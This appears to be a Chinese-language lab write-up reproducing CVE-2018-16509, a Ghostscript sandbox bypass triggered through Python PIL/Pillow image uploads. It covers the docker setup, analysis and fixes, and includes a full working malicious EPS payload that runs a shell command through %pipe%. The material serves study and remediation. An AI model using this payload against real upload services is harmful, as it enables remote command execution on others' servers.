Python PIL/Pillow 远程命令执行漏洞 (CVE-2018-16509)¶
PIL/Pillow 是 Python 中广泛使用的图像处理库。
在 Ghostscript 9.24 版本之前,存在一个 -dSAFER 沙盒绕过漏洞(CVE-2018-16509),攻击者可以通过构造恶意的图片文件,在图片处理过程中执行任意命令。这个漏洞影响了使用 Ghostscript 进行图像处理的多种应用,包括 Python 的 PIL/Pillow 库。当应用程序使用 PIL/Pillow 处理用户上传的图片时,若环境中安装了存在漏洞的 Ghostscript,则可能导致远程命令执行。
参考链接:
环境搭建¶
执行如下命令启动一个包含漏洞的 Flask 应用(使用 Ghostscript 9.23 版本):
docker compose up -d
环境启动后,访问 http://your-ip:8000
即可看到一个简单的图片上传页面。
漏洞复现¶
准备一个恶意的 EPS 文件(本环境中已提供 rce.jpg
),其内容如下:
%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: -0 -0 100 100
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%touch /tmp/got_rce) currentdevice putdeviceprops
访问 http://your-ip:8000
,上传这个文件。
上传后,服务器会使用 PIL/Pillow 处理这个图片,在调用 resize
函数时会触发漏洞,执行 touch /tmp/got_rce
命令。
执行以下命令验证漏洞是否成功利用:
docker compose exec web ls -la /tmp/
如果看到 /tmp/got_rce
文件,则说明命令执行成功。
漏洞分析¶
漏洞的核心在于 PIL/Pillow 在处理 EPS 图像时会调用系统的 Ghostscript 程序。在 EPSImagePlugin.py
中,PIL 使用 subprocess
调用 Ghostscript:
command = ["gs",
"-q", # quiet mode
"-g%dx%d" % size, # set output geometry (pixels)
"-r%fx%f" % res, # set input DPI (dots per inch)
"-dBATCH", # exit after processing
"-dNOPAUSE", # don't pause between pages
"-dSAFER", # safe mode
"-sDEVICE=ppmraw", # ppm driver
"-sOutputFile=%s" % outfile, # output file
"-c", "%d %d translate" % (-bbox[0], -bbox[1]),
# adjust for image origin
"-f", infile, # input file
"-c", "showpage", # showpage
]
虽然使用了 -dSAFER
参数,但 Ghostscript 9.24 版本之前存在沙盒绕过漏洞,攻击者可以通过特制的 PostScript 代码执行任意命令。
在示例应用中,当图片上传后,会进行如下处理:
img = Image.open(img_path)
w, h = img.size
ratio = 256.0 / max(w, h)
resized_img = img.resize((int(w * ratio), int(h * ratio)))
resized_img.save(img_path)
仅调用 Image.open()
不会触发漏洞,但当调用 resize()
或 save()
等需要实际加载图片数据的方法时,会触发 Ghostscript 的调用,从而执行恶意命令。
要修复此漏洞,需要更新 Ghostscript 到 9.24 或更高版本,或者在使用 PIL/Pillow 处理用户上传的图片时,禁用 EPS 图像处理功能。